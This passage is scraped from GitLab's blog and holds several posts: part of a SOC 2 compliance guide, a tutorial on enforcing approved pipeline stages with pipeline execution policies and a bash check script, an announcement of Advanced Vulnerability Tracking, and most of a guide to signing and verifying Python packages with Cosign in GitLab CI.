([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)), shows you all the external code your project depends on, including the parts you directly use and their own dependencies. For each item, you can see which version you're using, what license it has, and whether it has any known security problems. This helps you keep track of what's in your software and spot potential risks.\n\n![Group-level dependency list (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/sbom_aHR0cHM6_1750099596937.png)\n\n\u003Ccenter>\u003Ci>Group-level dependency list (SBOM)\u003C/i>\u003C/center>\n\n> ##### Learn how to access and use the dependency list with our [dependency list documentation](https://docs.gitlab.com/ee/user/application_security/dependency_list/).\n\n### System auditing and security posture review\n\nGitLab keeps track of everything that happens in your system such as who made changes, what they changed, and when they did it. Think of it like a security camera for your code. This record helps you:\n\n* spot any suspicious activity  \n* show regulators you're following the rules  \n* figure out what happened if something goes wrong  \n* see how people are using GitLab\n\nAll of this information is stored in one place, making it easy to review and investigate when needed. For example, you can use audit events to track:\n\n* who changed the permission level of a particular user for a GitLab project, and when  \n* who added a new user or removed a user, and when\n\n![Project-level audit events](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/audit_events_aHR0cHM6_1750099596938.png)\n\n\u003Ccenter>\u003Ci>Project-level audit events\u003C/i>\u003C/center>\n\n> ##### Learn more about audit events, see the [audit events documentation](https://docs.gitlab.com/ee/user/compliance/audit_events.html).\n\n## Compliance and security posture oversight\n\nGitLab's Security Dashboard works like a control room that shows you all your security risks in one place. Instead of checking different security tools separately, you can see all their findings together on one screen. This makes it easy to spot and fix security problems across all your projects.\n\n![Group-level Security Dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/security_dashboard_aHR0cHM6_1750099596939.png)\n\u003Ccenter>\u003Ci>Group-level security dashboard\u003C/i>\u003C/center>\n\n> ##### Learn more about security dashboards with our [security dashboard documentation](https://docs.gitlab.com/ee/user/application_security/security_dashboard/).\n\n## Establish procedures for identifying and mitigating risks\n\nVulnerabilities go through a specific lifecycle. For example, a part of the procedure can be to require approval for any vulnerable code to be merged to protected branches using security policies. Then the procedure can state that vulnerable code detected in production must be prioritized, assessed, remediated, and then validated: \n\n* The criteria for prioritization can be by the severity of the vulnerability provided by GitLab scanners.  \n* The assessment can be done using exploitation details provided by the AI: Vulnerability Explanation.  \n* Once the vulnerability is remediated, then it can be validated using built-in GitLab regression tests and scanners.\n\nWhile every organization's needs are different, leveraging GitLab as a platform, risks can be quickly identified and addressed with reduced risk when compared to using a sprawl of disparate tools.\n\n### Best practices for SOC 2 compliance\n\n* Establish a strong security culture: Foster a culture of security awareness and accountability throughout your organization.  \n* Document everything: Maintain thorough documentation of policies, procedures, and controls.  \n* Automate where possible: Use automation tools to streamline compliance processes and reduce errors.  \n* Communicate effectively: Keep stakeholders informed about your compliance efforts.  \n* Seek expert guidance: Consider partnering with a qualified consultant to assist with your SOC 2 journey.\n\nAchieving SOC 2 compliance is a significant undertaking, but the benefits are undeniable. By demonstrating your commitment to application security and operational excellence, you can build trust with customers, enhance your reputation, and gain a competitive edge in the marketplace.\n\n## Read more\n\nTo learn more about GitLab and how we can help achieve SOCv2 compliance while enhancing your security posture, check out the following resources:\n\n* [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/)  \n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/)  \n* [GitLab DevSecOps Tutorial Project](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n",[696,674,479,754,695],{"slug":2914,"featured":92,"template":678},"guide-to-fulfilling-soc-2-security-requirements-with-gitlab","content:en-us:blog:guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","Guide To Fulfilling Soc 2 Security Requirements With Gitlab","en-us/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","en-us/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"_path":2920,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2921,"content":2927,"config":2932,"_id":2934,"_type":16,"title":2935,"_source":17,"_file":2936,"_stem":2937,"_extension":20},"/en-us/blog/tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies",{"title":2922,"description":2923,"ogTitle":2922,"ogDescription":2923,"noIndex":6,"ogImage":2924,"ogUrl":2925,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2925,"schema":2926},"Tutorial: Advanced use case for GitLab Pipeline Execution Policies","Learn how new GitLab Ultimate functionality can enforce a standardized pipeline across an organization for improved compliance.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098083/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_397632156_3Ldy1urjMStQCl4qnOBvE0_1750098083312.jpg","https://about.gitlab.com/blog/tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Advanced use case for GitLab Pipeline Execution Policies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dan Rabinovitz\"}],\n        \"datePublished\": \"2025-01-22\",\n      }",{"title":2922,"description":2923,"authors":2928,"heroImage":2924,"date":2891,"body":2930,"category":674,"tags":2931},[2929],"Dan Rabinovitz","[Pipeline execution policies](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html) are a newer addition to the GitLab DevSecOps platform and a powerful mechanism to enforce CI/CD jobs across applicable projects. They enable platform engineering or security teams to inject jobs into developers’ YAML pipeline definition files, guaranteeing that certain CI/CD jobs will execute no matter what a developer defines in their \\`.gitlab-ci.yml\\` file. \n\nThis article will explain how to utilize pipeline execution policies to create guardrails around the stages or jobs that a developer can use in their pipeline definition. In regulated environments, this may be necessary to ensure developers adhere to a standard set of jobs or stages in their GitLab pipeline. Any job or stage that a developer adds to their pipeline that does not adhere to a corporate standard will cause the pipeline to fail. \n\nOne example use case for pipeline execution policies is ensuring a security scanner job runs. Let’s say an organization has made an investment in a third-party security scanner and they have a requirement that the external scan runs before any merge is made into the main branch. Without a pipeline execution policy, a developer could easily skip this step by not including the required code in their `.gitlab-ci.yml` file.  With a pipeline execution policy in place, a security team can guarantee the external security scanning job executes regardless of how a developer defines their pipeline.\n\nTo use pipeline execution policies to enforce these restrictions requires two parts: a shell script to make calls to the GitLab API and the policy itself. This tutorial uses a bash script; if your runner uses a different scripting language, it is easy to adapt to other languages.\n\nHere is the example shell script I will use for this exercise:\n\n``` \n#!/bin/bash\n\necho \"Checking pipeline stages and jobs...\"\n\n# Pull the group access token from the environment variable\nGROUP_ACCESS_TOKEN=\"$PIPELINE_TOKEN\"\n\necho \"PROJECT_ID: $PROJECT_ID\"\necho \"PIPELINE_ID: $PIPELINE_ID\"\n\nif [ -z \"$GROUP_ACCESS_TOKEN\" ]; then  \n  echo \"GROUP_ACCESS_TOKEN (MR_GENERATOR) is not set\"\n  exit 1\nfi\n\nif [ -z \"$PROJECT_ID\" ]; then\n  echo \"PROJECT_ID is not set\"\n  exit 1\nfi\n\nif [ -z \"$PIPELINE_ID\" ]; then\n  echo \"PIPELINE_ID is not set\"\n  exit 1\nfi\n\n# Use the group access token for the API request\napi_url=\"$GITLAB_API_URL/projects/$PROJECT_ID/pipelines/$PIPELINE_ID/jobs\"\necho \"API URL: $api_url\"\n\n# Fetch pipeline jobs using the group access token\njobs=$(curl --silent --header \"PRIVATE-TOKEN: $GROUP_ACCESS_TOKEN\" \"$api_url\")\necho \"Fetched Jobs: $jobs\"\n\nif [[ \"$jobs\" == *\"404 Project Not Found\"* ]]; then\n  echo \"Failed to authenticate with GitLab API: Project not found\"\n  exit 1\nfi\n\n# Extract stages and jobs\npipeline_stages=$(echo \"$jobs\" | grep -o '\"stage\":\"[^\"]*\"' | cut -d '\"' -f 4 | sort | uniq | tr '\\n' ',')\npipeline_jobs=$(echo \"$jobs\" | grep -o '\"name\":\"[^\"]*\"' | cut -d '\"' -f 4 | sort | uniq | tr '\\n' ',')\n\necho \"Pipeline Stages: $pipeline_stages\"  \necho \"Pipeline Jobs: $pipeline_jobs\"\n\n# Check if pipeline stages are approved\nfor stage in $(echo $pipeline_stages | tr ',' ' '); do \n  echo \"Checking stage: $stage\"\n  if ! [[ \",$APPROVED_STAGES,\" =~ \",$stage,\" ]]; then\n    echo \"Stage $stage is not approved.\"\n    exit 1\n  fi\ndone\n\n# Check if pipeline jobs are approved \nfor job in $(echo $pipeline_jobs | tr ',' ' '); do\n  echo \"Checking job: $job\"\n  if ! [[ \",$APPROVED_JOBS,\" =~ \",$job,\" ]]; then\n    echo \"Job $job is not approve\n```\n\nLet’s break this down a bit. \n\nThe first few lines of this code perform some sanity checks, ensuring that a pipeline ID, project ID, and group access token exist.\n\n* A GitLab pipeline ID is a unique numerical identifier that GitLab automatically assigns to each pipeline run.\n* A GitLab project ID is a unique numerical identifier assigned to each project in GitLab.\n* A GitLab group access token is a token that authenticates and authorizes access to resources at the group level in GitLab. This is in contrast to a GitLab personal access token (PAT), which is unique to each user.  \n\nThe bulk of the work comes from the [GitLab Projects API](https://docs.gitlab.com/ee/api/projects.html) call where the script requests the jobs for the specified pipeline. Once you have job information for the currently running pipeline, you can use a simple grep command to parse out stage and job names, and store them in variables for comparison. The last portion of the script checks to see if pipeline stages and jobs are on the approved list. Where do these parameters come from?\n\nThis is where [GitLab Pipeline Execution Policies](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html) come into play. They enable injection of YAML code into a pipeline. How can we leverage injected YAML to execute this shell script?  Here’s a code snippet showing how to do this.\n\n```\n## With this config, the goal is to create a pre-check job that evaluates the pipeline and fails the job/pipeline if any checks do not pass\n\nvariables:\n  GITLAB_API_URL: \"https://gitlab.com/api/v4\"\n  PROJECT_ID: $CI_PROJECT_ID\n  PIPELINE_ID: $CI_PIPELINE_ID\n  APPROVED_STAGES: \".pipeline-policy-pre,pre_check,build,test,deploy\"\n  APPROVED_JOBS: \"pre_check,build_job,test_job,deploy_job\"\n\npre_check:\n  stage: .pipeline-policy-pre\n  script:\n    - curl -H \"PRIVATE-TOKEN:${REPO_ACCESS_TOKEN}\" --url \"https://\u003Cgitlab_URL>/api/v4/projects/\u003Cproject_id>/repository/files/check_settings.sh/raw\" -o pre-check.sh\n    - ls -l\n    - chmod +x pre-check.sh\n    - DEBUG_MODE=false ./pre-check.sh  # Set DEBUG_MODE to true or false\n  allow_failure: true\n```\n\nIn this YAML snippet, we set a few variables used in the shell script. Most importantly, this is where approved stages and approved jobs are defined. After the `variables` section, we then add a new job to the `.pipeline-policy-pre` stage. This is a reserved stage for pipeline execution policies and is guaranteed to execute before any stages defined in a `.gitlab-ci.yml` file.  There is a corresponding `.pipeline-policy-post` stage as well, though we will not be using it in this scenario.  \n\nThe script portion of the job does the actual work. Here, we leverage a curl command to execute the shell script defined above. This example includes authentication if it’s located in a private repository. However, if it’s publicly accessible, you can forgo this authentication. The last line controls whether or not the pipeline will fail. In this example, the pipeline will continue. This is useful for testing – in practice, you would likely set `allow_failure: false` to cause the pipeline to fail. This is desired as the goal of this exercise is to not allow pipelines to continue execution if a developer adds a rogue job or stage.\n\nTo utilize this YAML, save it to a `.yml` file in a repository of your choice. We’ll see how to connect it to a policy shortly.\n\nNow, we have our script and our YAML to inject into a developer’s pipeline. Next, let’s see how to put this together using a pipeline execution policy.\n\nLike creating other policies in GitLab, start by creating a new Pipeline Execution Policy by navigating to **Secure > Policies** in the left hand navigation menu. Then, choose **New Policy** at the top right, and select **Pipeline Execution Policy** from the policy creation options.  \n\nFor this exercise, you can leave the **Policy Scope** set to the default options. In the **Actions** section, be sure to choose **Inject** and select the project and file where you’ve saved your YAML code snippet. Click on **Update via Merge Request** at the very bottom to create an MR that you can then merge into your project.\n\nIf this is your first security policy, clicking on **Merge** in the MR will create a [Security Policy Project](https://docs.gitlab.com/ee/user/application_security/policies/vulnerability_management_policy.html), which is a project to store all security policies. When implementing any type of security policy in a production environment, [access to this project should be restricted](https://docs.gitlab.com/ee/user/project/members/) so developers cannot make changes to security policies. In fact, you may also want to consider storing YAML code that’s used by pipeline execution policies in this project to restrict access as well, though this is not a requirement.  \nExecuting a pipeline where this pipeline execution policy is enabled should result in the following output when you attempt to add an invalid stage to the project `.gitlab-ci.yml` file.\n\n![Output of attempting an invalid stage to project gitlab-ci.yml file](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098102/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098102394.png)\n\nWhile this use case is very focused on one aspect of security and compliance in your organization, this opens the door to other use cases. For example, you may want to make group-level variables accessible to every project within a group; this is possible with pipeline execution policies. Or, you may want to create a golden pipeline and have developers add to it. The possibilities are endless. GitLab customers are finding new and exciting ways to use this new functionality every day.\n\nIf you’re a GitLab Ultimate customer, try this out today and let us know how you’re using pipeline execution policies. Not a GitLab Ultimate customer? [Sign up for a free 60-day trial](https://about.gitlab.com/free-trial/devsecops/) to get started.\n\n## Read more\n- [How to integrate custom security scanners into GitLab](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/)\n- [Integrate external security scanners into your DevSecOps workflow](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/)\n- [Why GitLab is deprecating compliance pipelines in favor of security policies](https://about.gitlab.com/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies/)\n",[674,696,185,479,110,754],{"slug":2933,"featured":6,"template":678},"tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies","content:en-us:blog:tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies.yml","Tutorial Advanced Use Case For Gitlab Pipeline Execution Policies","en-us/blog/tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies.yml","en-us/blog/tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies",{"_path":2939,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2940,"content":2946,"config":2953,"_id":2955,"_type":16,"title":2956,"_source":17,"_file":2957,"_stem":2958,"_extension":20},"/en-us/blog/introducing-gitlab-advanced-vulnerability-tracking",{"title":2941,"description":2942,"ogTitle":2941,"ogDescription":2942,"noIndex":6,"ogImage":2943,"ogUrl":2944,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2944,"schema":2945},"Introducing GitLab Advanced Vulnerability Tracking","Learn how this security feature improves the efficiency of vulnerability management by reducing futile auditing time (includes data from a new study).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664844/Blog/Hero%20Images/AdobeStock_941867776.jpg","https://about.gitlab.com/blog/introducing-gitlab-advanced-vulnerability-tracking","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab Advanced Vulnerability Tracking\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2025-01-21\",\n      }",{"title":2941,"description":2942,"authors":2947,"heroImage":2943,"date":2949,"body":2950,"category":674,"tags":2951},[2948],"Julian Thome","2025-01-21","DevSecOps streamlines software development by allowing teams to ship features quickly and providing short feedback cycles for customers. These short feedback cycles can be used to monitor the impact of a feature from the time it is shipped and to inform developers and product managers about the success or failure of a given deployment.\n\nGitLab, as an agnostic DevSecOps platform, can act as an integration point for different [CI/CD](https://about.gitlab.com/topics/ci-cd/) tools that often contribute to user-facing functionality. For example, the [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), which displays all detected vulnerabilities, is visible as a single functionality, but the data in the report may come from a number of different tools in various pipelines.\n\nIn a heterogeneous Static Application Security Testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) setup we find two potential sources of vulnerability deduplication:\n1. Code volatility refers to the reintroduction of vulnerabilities in a constantly changing code base.\n2. Double reporting refers to duplication introduced by multiple tools that are reporting the same vulnerability. \n\nGitLab addresses these two sources of duplication by means of the [Advanced Vulnerability Tracking](https://docs.gitlab.com/ee/user/application_security/sast/#advanced-vulnerability-tracking) feature, which identifies and deduplicates vulnerabilities in a constantly changing code base.\n\n[Advanced Vulnerability Tracking](https://docs.gitlab.com/ee/user/application_security/sast/#advanced-vulnerability-tracking) leverages contextual information provided by generated syntax-trees to scope vulnerabilities and generates location fingerprints for vulnerabilities that are less fragile across code changes in comparison to other tracking methods.\n\nIn a recent study, we demonstrated that our vulnerability tracking approach was 30% more effective than traditional, line-based vulnerability tracking where `\u003Cfile, line number>` are used to fingerprint vulnerabilities. This means that advanced vulnerability tracking reduces the manual effort of auditing vulnerabilities by 30%. In addition, our study suggested that the positive effect of our vulnerability tracking method increases over time.\n\nThe preprint of our study \"[A scalable, effective and simple Vulnerability Tracking approach for heterogeneous SAST setups based on Scope+Offset](https://about.gitlab.com/resources/downloads/icse25-preprint.pdf)\" will be presented at the [47th International Conference on Software Engineering (Software Engineering in Practice Track) 2025](https://conf.researchr.org/home/icse-2025).\n\n*[Lucas Charles](https://gitlab.com/theoretick), [Jason Leasure](https://gitlab.com/jleasure), and [Hua Yan](https://gitlab.com/hyan3) contributed to this article and study.*",[674,2952,754,479],"security research",{"slug":2954,"featured":6,"template":678},"introducing-gitlab-advanced-vulnerability-tracking","content:en-us:blog:introducing-gitlab-advanced-vulnerability-tracking.yml","Introducing Gitlab Advanced Vulnerability Tracking","en-us/blog/introducing-gitlab-advanced-vulnerability-tracking.yml","en-us/blog/introducing-gitlab-advanced-vulnerability-tracking",{"_path":2960,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2961,"content":2966,"config":2970,"_id":2972,"_type":16,"title":2973,"_source":17,"_file":2974,"_stem":2975,"_extension":20},"/en-us/blog/secure-and-publish-python-packages-a-guide-to-ci-integration",{"title":2962,"description":2963,"ogTitle":2962,"ogDescription":2963,"noIndex":6,"ogImage":2123,"ogUrl":2964,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2964,"schema":2965},"Secure and publish Python packages: A guide to CI integration","Learn how to implement a secure CI/CD pipeline across five stages with the GitLab DevSecOps platform.","https://about.gitlab.com/blog/secure-and-publish-python-packages-a-guide-to-ci-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure and publish Python packages: A guide to CI integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-01-21\",\n      }",{"title":2962,"description":2963,"authors":2967,"heroImage":2123,"date":2949,"body":2968,"category":674,"tags":2969},[1125],"Supply chain security is a critical concern in software development. Organizations need to verify the authenticity and integrity of their software packages. This guide will show you how to implement a secure CI/CD pipeline for Python packages using GitLab CI, incorporating package signing and attestation using Sigstore's Cosign.\n\nYou'll learn:\n\n- [Why sign and attest your Python packages?](#why-sign-and-attest-your-python-packages%3F)\n- [Pipeline overview](#pipeline-overview)\n- [Complete pipeline implementation: Setting up the environment](#complete-pipeline-implementation-setting-up-the-environment)\n   * [Environment configuration](#environment-configuration)\n   * [Configuration breakdown](#configuration-breakdown)\n-  The 6 stages\n\n    1. [Building](#building-crafting-the-package)\n    2. [Signing](#signing-the-digital-notarization)\n    3. [Verification](#verification-the-security-checkpoint)\n    4. [Publishing](#publishing-the-controlled-release)\n    5. [Publishing signatures](#publishing-signatures-making-verification-possible)\n    6. [Consumer verification](#consumer-verification-testing-the-user-experience)\n\n## Why sign and attest your Python packages?\n\nHere are four reasons to sign and attest your Python packages:\n\n* **Supply chain security:** Package signing ensures that the code hasn't been tampered with between build and deployment, protecting against supply chain attacks.\n* **Compliance requirements:** Many organizations, especially in regulated industries, require cryptographic signatures and provenance information for all deployed software.\n* **Traceability:** Attestations provide a verifiable record of build conditions, including who built the package and under what circumstances.\n* **Trust verification:** Consumers of your package can cryptographically verify its authenticity before installation.\n\n## Pipeline overview\n\nEnsuring your code's integrity and authenticity is necessary. Imagine a pipeline that doesn't just compile your code but creates a cryptographically verifiable narrative of how, when, and by whom your package was created. Each stage acts as a guardian, checking and documenting the package's provenance.\n\nHere are six stages of a GitLab pipeline that ensure your package is secure and trustworthy:\n\n* Build: Creates a clean, standard package that can be easily shared and installed.\n* Signing: Adds a digital signature that proves the package hasn't been tampered with since it was created.\n* Verification: Double-checks that the signature is valid and the package meets all our security requirements.\n* Publishing: Uploads the verified package to GitLab's package registry, making it available for others to use.\n* Publishing Signatures: Makes signatures available for verification.\n* Consumer Verification: Simulates how end users can verify package authenticity.\n\n## Complete pipeline implementation: Setting up the environment\n\nBefore we build our package, we need to set up a consistent and secure build environment. This configuration ensures every package is created with the same tools, settings, and security checks.\n\n### Environment configuration\n\nOur pipeline requires specific tools and settings to work correctly.\n\nPrimary configurations:\n\n* Python 3.10 for consistent builds\n* Cosign 2.2.3 for package signing\n* GitLab package registry integration\n* Hardcoded package version for reproducibility\n\n**Note about versioning:** We've chosen to use a hardcoded version (`\"1.0.0\"`) in this example rather than deriving it from git tags or commits. This approach ensures complete reproducibility and makes the pipeline behavior more predictable. In a production environment, you might want to use semantic versioning based on git tags or another versioning strategy that fits your release process.\n\nTool requirements:\n\n* Basic utilities: `curl`, `wget`\n* Cosign for cryptographic signing\n* Python packaging tools: `build`, `twine`, `setuptools`, `wheel`\n\n### Configuration breakdown\n\n```yaml\nvariables:\n  PYTHON_VERSION: '3.10'\n  PACKAGE_NAME: ${CI_PROJECT_NAME}\n  PACKAGE_VERSION: \"1.0.0\"\n  FULCIO_URL: 'https://fulcio.sigstore.dev'\n  REKOR_URL: 'https://rekor.sigstore.dev'\n  CERTIFICATE_IDENTITY: 'https://gitlab.com/${CI_PROJECT_PATH}//.gitlab-ci.yml@refs/heads/${CI_DEFAULT_BRANCH}'\n  CERTIFICATE_OIDC_ISSUER: 'https://gitlab.com'\n  PIP_CACHE_DIR: \"$CI_PROJECT_DIR/.pip-cache\"\n  COSIGN_YES: \"true\"\n  GENERIC_PACKAGE_BASE_URL: \"${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/${PACKAGE_NAME}/${PACKAGE_VERSION}\"\n```\n\nWe use caching to speed up subsequent builds:\n\n```yaml\ncache:\n  paths:\n    - ${PIP_CACHE_DIR}\n```\n\n## Building: Crafting the package\n\nEvery software journey begins with creation. In our pipeline, the build stage is where raw code transforms into a distributable package, ready to travel across different Python environments.\n\nThe build process creates two standardized formats:\n\n* a wheel package (.whl) for quick, efficient installation\n* a source distribution (.tar.gz) that carries the complete code\n\nHere's the build stage implementation:\n\n```yaml\nbuild:\n  extends: .python-job\n  stage: build\n  script:\n    - git init\n    - git config --global init.defaultBranch main\n    - git config --global user.email \"ci@example.com\"\n    - git config --global user.name \"CI\"\n    - git add .\n    - git commit -m \"Initial commit\"\n    - export NORMALIZED_NAME=$(echo \"${CI_PROJECT_NAME}\" | tr '-' '_')\n    - sed -i \"s/name = \\\".*\\\"/name = \\\"${NORMALIZED_NAME}\\\"/\" pyproject.toml\n    - sed -i \"s|\\\"Homepage\\\" = \\\".*\\\"|\\\"Homepage\\\" = \\\"https://gitlab.com/${CI_PROJECT_PATH}\\\"|\" pyproject.toml\n    - python -m build\n  artifacts:\n    paths:\n      - dist/\n      - pyproject.toml\n```\n\nLet's break down what this build stage does:\n\n1. Initializes a Git repository (`git init`) and configures it with basic settings\n2. Normalizes the package name by converting hyphens to underscores, which is required for Python packaging\n3. Updates the package metadata in `pyproject.toml` to match our project settings\n4. Builds both wheel and source distribution packages using `python -m build`\n5. Preserves the built packages and configuration as artifacts for subsequent stages\n\n## Signing: The digital notarization\n\nIf attestation is the package's biography, signing is its cryptographic seal of authenticity. This is where we transform our package from a mere collection of files into a verified, tamper-evident artifact.\n\nThe signing stage uses Cosign to apply a digital signature as an unbreakable seal. This isn't just a stamp — it's a complex cryptographic handshake that proves the package's integrity and origin.\n\n```yaml\nsign:\n  extends: .python+cosign-job\n  stage: sign\n  id_tokens:\n    SIGSTORE_ID_TOKEN:\n      aud: sigstore\n  script:\n    - |\n      for file in dist/*.whl dist/*.tar.gz; do\n        if [ -f \"$file\" ]; then\n          filename=$(basename \"$file\")\n          cosign sign-blob --yes \\\n            --fulcio-url=${FULCIO_URL} \\\n            --rekor-url=${REKOR_URL} \\\n            --oidc-issuer $CI_SERVER_URL \\\n            --identity-token $SIGSTORE_ID_TOKEN \\\n            --output-signature \"dist/${filename}.sig\" \\\n            --output-certificate \"dist/${filename}.crt\" \\\n            \"$file\"\n        fi\n      done\n  artifacts:\n    paths:\n      - dist/\n```\n\nThis signing stage performs several crucial operations:\n\n1. Obtains an OIDC token from GitLab for authentication with Sigstore services\n2. Processes each built package (both wheel and source distribution)\n3. Uses Cosign to create a cryptographic signature (`.sig`) for each package\n4. Generates a certificate (`.crt`) that proves the signature's authenticity\n5. Stores both signatures and certificates alongside the packages as artifacts\n\n## Verification: The security checkpoint\n\nVerification is our final quality control gate. It's not just a check — it's a security interrogation where every aspect of the package is scrutinized.\n\n```yaml\nverify:\n  extends: .python+cosign-job\n  stage: verify\n  script:\n    - |\n      failed=0\n      for file in dist/*.whl dist/*.tar.gz; do\n        if [ -f \"$file\" ]; then\n          filename=$(basename \"$file\")\n          if ! cosign verify-blob \\\n            --signature \"dist/${filename}.sig\" \\\n            --certificate \"dist/${filename}.crt\" \\\n            --certificate-identity \"${CERTIFICATE_IDENTITY}\" \\\n            --certificate-oidc-issuer \"${CERTIFICATE_OIDC_ISSUER}\" \\\n            \"$file\"; then\n            failed=1\n          fi\n        fi\n      done\n      if [ $failed -eq 1 ]; then\n        exit 1\n      fi\n```\n\nThe verification stage implements several security checks:\n\n1. Examines each package file in the `dist` directory\n2. Uses Cosign to verify the signature matches the package content\n3. Confirms the certificate's identity matches our expected GitLab pipeline identity\n4. Validates our trusted OIDC provider issued the certificate\n5. Fails the entire pipeline if any verification check fails, ensuring only verified packages proceed\n\n## Publishing: The controlled release\n\nPublishing is where we make our verified packages available through GitLab's package registry. It's a carefully choreographed release that ensures only verified, authenticated packages reach their destination.\n\n```yaml\npublish:\n  extends: .python-job\n  stage: publish\n  script:\n    - |\n      cat \u003C\u003C EOF > ~/.pypirc\n      [distutils]\n      index-servers = gitlab\n      [gitlab]\n      repository = ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/pypi\n      username = gitlab-ci-token\n      password = ${CI_JOB_TOKEN}\n      EOF\n      TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token \\\n        twine upload --repository-url ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/pypi \\\n        dist/*.whl dist/*.tar.gz\n```\n\nThe publishing stage handles several important tasks:\n\n1. Creates a `.pypirc` configuration file with GitLab package registry credentials\n2. Uses the GitLab CI job token for secure authentication\n3. Uploads both wheel and source distribution packages to the GitLab PyPI registry\n4. Makes the packages available for installation via pip\n\n## Publishing signatures: Making verification possible\n\nAfter publishing the packages, we must make their signatures and certificates available for verification. We store these in GitLab's generic package registry, making them easily accessible to users who want to verify package authenticity.\n\n```yaml\npublish_signatures:\n  extends: .python+cosign-job\n  stage: publish_signatures\n  script:\n    - |\n      for file in dist/*.whl dist/*.tar.gz; do\n        if [ -f \"$file\" ]; then\n          filename=$(basename \"$file\")\n          curl --header \"JOB-TOKEN: ${CI_JOB_TOKEN}\" \\\n               --fail \\\n               --upload-file \"dist/${filename}.sig\" \\\n               \"${GENERIC_PACKAGE_BASE_URL}/${filename}.sig\"\n\n          curl --header \"JOB-TOKEN: ${CI_JOB_TOKEN}\" \\\n               --fail \\\n               --upload-file \"dist/${filename}.crt\" \\\n               \"${GENERIC_PACKAGE_BASE_URL}/${filename}.crt\"\n        fi\n      done\n```\n\nThe signature publishing stage performs these key operations:\n\n1. Processes each built package to find its corresponding signature files\n2. Uses the GitLab API to upload the signature (`.sig`) file to the generic package registry\n3. Uploads the corresponding certificate (`.crt`) file\n4. Makes these verification artifacts available for downstream package consumers\n5. Uses the same version and package name to maintain the connection between packages and signatures\n\n## Consumer verification: Testing the user experience\n\nThe final stage simulates how end users will verify your package's authenticity. This stage acts as a final check and a practical example of the verification process.\n\n```yaml\nconsumer_verification:\n  extends: .python+cosign-job\n  stage: consumer_verification\n  script:\n    - |\n      git init\n      git config --global init.defaultBranch main\n      mkdir -p pkg signatures\n\n      pip download --index-url \"https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/pypi/simple\" \\\n          \"${NORMALIZED_NAME}==${PACKAGE_VERSION}\" --no-deps -d ./pkg\n\n      pip download --no-binary :all: \\\n          --index-url \"https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/pypi/simple\" \\\n          \"${NORMALIZED_NAME}==${PACKAGE_VERSION}\" --no-deps -d ./pkg\n\n      failed=0\n      for file in pkg/*.whl pkg/*.tar.gz; do\n        if [ -f \"$file\" ]; then\n          filename=$(basename \"$file\")\n          sig_url=\"${GENERIC_PACKAGE_BASE_URL}/${filename}.sig\"\n          cert_url=\"${GENERIC_PACKAGE_BASE_URL}/${filename}.crt\"\n\n          curl --fail --silent --show-error \\\n               --header \"JOB-TOKEN: ${CI_JOB_TOKEN}\" \\\n               --output \"signatures/${filename}.sig\" \\\n               \"$sig_url\"\n\n          curl --fail --silent --show-error \\\n               --header \"JOB-TOKEN: ${CI_JOB_TOKEN}\" \\\n               --output \"signatures/${filename}.crt\" \\\n               \"$cert_url\"\n\n          if ! cosign verify-blob \\\n            --signature \"signatures/${filename}.sig\" \\\n            --certificate \"signatures/${filename}.crt\" \\\n            --certificate-identity \"${CERTIFICATE_IDENTITY}\" \\\n            --certificate-oidc-issuer 